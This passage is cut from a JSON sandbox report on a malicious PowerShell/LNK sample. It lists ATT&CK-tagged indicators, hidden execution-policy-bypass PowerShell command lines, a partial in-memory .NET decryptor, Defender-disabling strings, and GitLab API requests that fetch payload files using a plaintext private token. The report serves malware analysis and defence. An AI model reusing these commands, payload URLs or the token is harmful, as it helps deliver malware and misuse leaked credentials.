\"00000000-00006444-00000C2C-2521009988\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006444)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005528)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004752)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006112)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.DF8E0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp, 00000000-00005528.00000001.226277.3E4E0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp, 00000000-00005528.00000001.226277.3E512000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"B8B897F5DBBDDC010000000000000000000000000200000000\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"82CAC8CEDCBDDC010000000000000000000000000200000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"C5934ED4DCBDDC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-File\"; File: \"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin\")\n file/memory contains long string with (Indicator: \"Out-File\"; File: \"facebook.ps1\")\n file/memory contains long string with (Indicator: \"Out-File\"; File: \"AMSI\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00005528.00000000.225591.50780000.00000004.mdmp, 00000000-00005528.00000001.226277.50780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"firefox.ps1\" - Location: [%APPDATA%\\firefox.ps1]- [targetUID: 00000000-00005528]\n Dropped file: \"facebook.ps1\" - Location: [%APPDATA%\\Microsoft\\Windows\\CloudStore\\facebook.ps1]- [targetUID: 00000000-00005528]\n Dropped file: \"8KT95F6TBB8HO4W998TM.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp]- [targetUID: 00000000-00006444]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005528]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Process spawned with a very long commandline","description":"Commandline has 16383 characters (Source: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":10,"id":"string-59","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6444)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5528)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4752)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6112)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/25 Antivirus vendors marked sample as malicious (32% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"$50","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.65.251.78 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005528)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$51","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$52","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes the C# compiler","description":"Process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\hcjefsh2\\\\hcjefsh2.cmdline\"\" (UID: 00000000-00004540)","origin":"Monitored Target","mitre_attack_id":"T1027.004","relevance":1,"id":"target-57","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -File %USERPROFILE%\\AppData\\Roam\" - (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Executes system binary through link file with suspicious command parameters","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1218","relevance":10,"id":"target-676","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"Executable loaded in memory \"MZ@\t!L!This program cannot be run in DOS mode.\n\n$PELii!~% @ @0%K@` H.text `.rsrc@@@.reloc`@B`%H 80s\n\n io\ni.*\n\to\n&s\n o\no\ns\no\ns\t\n\ts\n\n\n\t\no\n\no\n\no\n*(\n*BSJBv4.0.30319l#~#Strings#US#GUID#BlobG\t%3\n,%iII%\n)4GhuP 3\n 7=E77!71!97)A0I7QX6a7?!71I1!O\t7.l.uThcjefsh2.dllInitmscorlibSystemObjectDec.ctorinBytespwdSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributehcjefsh2System.IOMemoryStreamByteStreamReadSystem.Security.CryptographyRfc2898DeriveBytesDeriveBytesGetBytesSystem.CoreAesManagedSymmetricAlgorithmICryptoTransformCreateDecryptorCryptoStreamCryptoStreamModeCopyToDisposeToArray =\nH7GB%\tz\\V4 -\t -5 %-1TWrapNonExceptionThrowsX%n% `%_CorDllMainmscoree.dll% 0HX@LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0<\nInternalNamehcjefsh2.dll(LegalCopyright D\nOriginalFilenamehcjefsh2.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 5\"","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$55","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - LNK file executes using PowerShell","description":"YARA signature for LNK file executes using PowerShell matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":9,"id":"yara-50","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$56","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$57","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"incidents":[{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":31,"imported_dlls_count":130,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":20,"files_deleted_count":0,"registry_keys_created_count":21,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":21,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69c605ac425fdab676032d9f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"CMD:Heur.BZC.YAX.Pantera.229","submit_name":"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin","analysis_start_time":"2026-03-27T04:21:01+00:00","indicators_count":{"informative":177,"suspicious":30,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.65.251.78","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"dns_resolutions":[{"domain":"gitlab.com","address":"172.65.251.78","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"http_requests":[{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}],"processes":[{"pid":6444,"ppid":0,"name":"powershell.exe","command_line":"$58","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00006444","icon":"$59"},{"pid":5528,"ppid":6444,"name":"powershell.exe","command_line":"-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\firefox.ps1","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006444","uid":"00000000-00005528"},{"pid":4540,"ppid":5528,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\hcjefsh2\\hcjefsh2.cmdline\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00005528","uid":"00000000-00004540"},{"pid":5740,"ppid":4540,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESE5E9.tmp\" \"%TEMP%\\hcjefsh2\\CSC29A1145E7F9B470DABBE45571D78D30.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00004540","uid":"00000000-00005740"},{"pid":4752,"ppid":5528,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005528","uid":"00000000-00004752"},{"pid":6112,"ppid":5528,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005528","uid":"00000000-00006112"}],"all_imported_dlls":["MpOAV.dll","clrjit.dll","winhttp.dll","OnDemandConnRouteHelper.dll","oleaut32.dll","kernel.appcore.dll","imagehlp.dll","dpapi.dll","System.Management.ni.dll","sppc.dll","sechost.dll","aepic.dll","ntasn1.dll","atl.dll","VxSSL64.dll","msvcp110_win.dll","System.Management.Automation.ni.dll","userenv.dll","MpClient.dll","wmidcom.dll","winnsi.dll","BCP47Langs.dll","dhcpcsvc.dll","mi.dll","schannel.dll","cryptsp.dll","SHCore.dll","g9Q6718S.dll","wldp.dll","urlmon.dll","System.Numerics.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","uxtheme.dll","shell32.dll","clr.dll","System.Transactions.dll","mscoree.dll","ELSCore.dll","ntshrui.dll","sspicli.dll","System.Xml.ni.dll","dhcpcsvc6.dll","ncrypt.dll","KernelBase.dll","System.Data.dll","System.Configuration.ni.dll","mscoreei.dll","bcryptprimitives.dll","linkinfo.dll","netutils.dll","wbemsvc.dll","msvcp_win.dll","fltLib.dll","bcrypt.dll","psapi.dll","rtutils.dll","mskeyprotect.dll","miutils.dll","shlwapi.dll","dnsapi.dll","msvcrt.dll","mscorlib.ni.dll","ole32.dll","System.DirectoryServices.ni.dll","ucrtbase.dll","cldapi.dll","ncryptsslp.dll","secur32.dll","nsi.dll","alink.dll","mscorpehost.dll","rasadhlp.dll","rpcrt4.dll","profapi.dll","iertutil.dll","System.Core.ni.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","crypt32.dll","fastprox.dll","ntdll.dll","powrprof.dll","cscapi.dll","System.Transactions.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","edputil.dll","msIso.dll","clbcatq.dll","vcruntime140_clr0400.dll","wintrust.dll","msasn1.dll","cfgmgr32.dll","policymanager.dll","version.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","IPHLPAPI.DLL","System.ni.dll","Microsoft.IIS.Powershell.Commands.ni.dll","gdi32.dll","ws2_32.dll","System.Configuration.Install.ni.dll","mswsock.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","windows.storage.dll","System.Data.ni.dll","diasymreader.dll","FWPUCLNT.DLL","kernel32.dll","advapi32.dll","slc.dll","rasapi32.dll","Windows.StateRepositoryPS.dll","srvcli.dll","win32u.dll","combase.dll","cryptbase.dll","amsi.dll","propsys.dll","gpapi.dll","wbemcomn.dll","gdi32full.dll","ucrtbase_clr0400.dll","Microsoft.PowerShell.Security.ni.dll","user32.dll","rsaenh.dll","rasman.dll","wbemprox.dll","AppResolver.dll","ntmarta.dll","Microsoft.Management.Infrastructure.ni.dll","imm32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"facebook.ps1","sha256":"573327a7aa5e37da4663e8b203eb847ec6b35911a38d30ad28a33afd93812af6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"firefox.ps1","sha256":"b29f7bcacd1e74aa606d6aba6fa9d1351c9c9c3f70934cc63211ae6d24ed7d3c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"hcjefsh2.cmdline","sha256":"27a8a33d47f5e45bb2c9b1dabf4e9eee9e4be85c572e996f555c46316e7bfa65","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"8KT95F6TBB8HO4W998TM.temp","sha256":"2bccf8383f772ef30703ae57b45329a204e40d736b4d7889677a078cff3654be","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a